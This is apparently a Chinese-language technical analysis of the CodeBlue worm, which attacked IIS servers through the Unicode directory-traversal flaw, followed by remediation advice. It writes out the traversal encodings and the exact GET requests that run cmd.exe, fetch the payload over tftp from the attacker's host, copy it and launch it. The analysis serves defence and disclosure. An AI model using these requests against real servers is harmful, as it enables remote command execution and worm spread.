|
一、本病毒是基于网络传播的,它不感染文件。该病毒包括三个文件:svchost.exe,d.vbs,httpext.dll,其中httpext.dll运行时会产生一个svchost.exe,svchost.exe运行时会产生d.vbs。 svchost.exe和httpext.dll都是用VC编写的,svchost.exe在编译完成后用UPX进行了压缩;httpext.dll使用了Microsoft的MFC。 本病毒主要主向被感染主机发GET请求,GET请求是WEB服务的基本命令,它向WEB服务器请求一个页面,WEB服务器可以运行某些程序,来生成这些页面。对于IIS服务器来说,它一般有一个虚拟根scripts(安装IIS时自动建立的),该虚拟根下的脚本或程序可以根据用户的请求进行执行,虚拟根对应于磁盘上一个目录,IIS严重问题在于用户能通过该虚拟根执行它对应目录的上一级目录或其它目录中的程序,但这需要利用IIS服务的UNICODE漏洞,即将某些字符串在作为UNICODE转换时错误地转换为“\”,即WINDOWS的路径分隔符,因此使客户可以执行IIS服务器上的一些文件。 报告后面所附文章介绍了这种漏洞。 二、该病毒初始传染条件为,httpext.dll在C盘根目录,启动svchost.exe即可感染,开始感染其它机器者称为本机,被感染对象称为被感染主机,下同。 第一步:本机svchost进程调用_beginthread函数创建一个线程,该线程建立一个基本于UDP协议的文件传输服务器,即tftp服务器,它的作用就是向请求者发送文件httpext.dll(它将文件C:\httpext.dll读入内存,然后等待用户请求)。 第二步:本机svchost进程注册一个窗口类,类名为worm,
按此类创建一个隐藏窗口。 第三步:这一步到第六步都是本机svchost进程的窗口函数在处理WM_CRERATE消息时完成的。首先1、在本机设立一个已感染标识,为一全局的名为CodeBlue的原子(GlobalAtom);2、修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN中建一项,名为Domain
Manager以在每次启动系统时自动运行svchost.exe;3、将C:\svchost.exe和C:\httpext.dll文件改为系统、隐藏属性。 第四步:产生文件C:\D.VBS,并启动wscript.exe运行该文件。如果本机的当前操作系统是NT
5(即WINDOWS
2000)的话,查找本机的inetinfo.exe进程,并试图结束该进程。 第五步:调用_beginthread函数创建100个感染线程。每创建一个感染线程,休眠137毫秒,再创建下一个感染线程。 第六步:休眼5秒后将本机的C:\D.VBS文件删除。
三、感染线程的工作过程如下: 第一步、调用系统API
GetSystemTime取本机系统当前时间(UTC时间),如果小时数大于10且小于11(不可能满足的条件),攻击211.99.196.135(绿盟英文网站)。 第二步、随机生成一个IP地址,如果得到的IP地址为A类地址,则将IP地址的后两段变为自己IP地址的后两段,否则,直接用计算出的IP地址,该地址即为被感染主机的IP地址。连接被感染主机的80端口,如果连接失败,根据IP地址休眠最多4097毫秒后,重复这一步感染下一个地址;如果成功再向被感染主机发送请求“HEAD
/ HTTP/1.0”请求,此请求要求被感染主机回答是否支持HTTP
1.0且为IIS服务器,如果不是IIS服务器,重复这一步,感染下一个地址,如果是,继续下一步。 第三步、检测被感染主机的IIS服务器的UNICODE漏洞,这种检测最多重试7次,如果成功,转下步,否则,转第一步。检测过程如下: 向被感染主机发送“GET
/scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/c+dir”请求,如果成功,则表明漏洞存在。其中XX是一个字符串,IIS服务器会把它作UNICODE字符串解释,解释结果错误地为“\”,也就是WINDOWS的路径分隔符,这就是UNICODE漏洞。该病毒带了9个可能的字符串,为:
%255c %c1%1c %c0%2f %c0%af %c1%9c %%35%63 %%35c %25%35%63 %252f 如果漏洞存在,此请求导致被感染主机执行winnt/system32目录下的cmd.exe程序,“+”表示空格,“?”号表示后面是参数,“/c”表示以控制台方式执行后面的命令,它会将被感染主机控制台的输出送给本机。“dir”是在被感染主机上要执行的命令。病毒并不关心命令执行的结果,而是只是关心该命令是否被执行,如果执行了,表明漏洞存在。 第四步、调用_beginthread函数创建一个感染线程,向被感染主机发送请求:“GET
/scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/c+tftp+-I+YY+get+httpext.dll”XX为检测到的漏洞串,YY为本机IP地址,它的作用是启动被感染主机winnt/system32目录的tftp.exe程序,“-i”让该程序以二进进方式从本机取httpext.dll
(本机已在svchost.exe启动时建立了tftp服务器),httpext.dll被传到被感染主机scripts目录中。 第五步、休眼2秒,向被感染主机发请求:“GET
/scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/c+copy+httpext.dll+c:\”,它的作用是让被感染主机将scripts目录httpext.dll文件从拷贝到被感染主机的C盘根目录下。 第六步、向被感染主机发请求:“GET
/scripts/httpext.dll”。此请求导致被感染主机的IIS服务器运行scripts目录中的httpext.dll,httpext.dll将检查被感染主机是否有CodeBlue这个全局原子(GlobalAtom),如果没有,生成svchost.exe,并运行它。这一步如果失败,将最多重试3次。至此感染过程完成。 四、关于D.VBS 此脚本文件将删除本机IIS服务的三个影射.IDA、.IDQ和.printer。 五、解决方法 1.
用瑞星杀毒软件12。40以上版本 2. 用微软补丁包: 下载地址:http://www.microsoft.com/Windows2000/downloads/critical/q293826/download.asp
|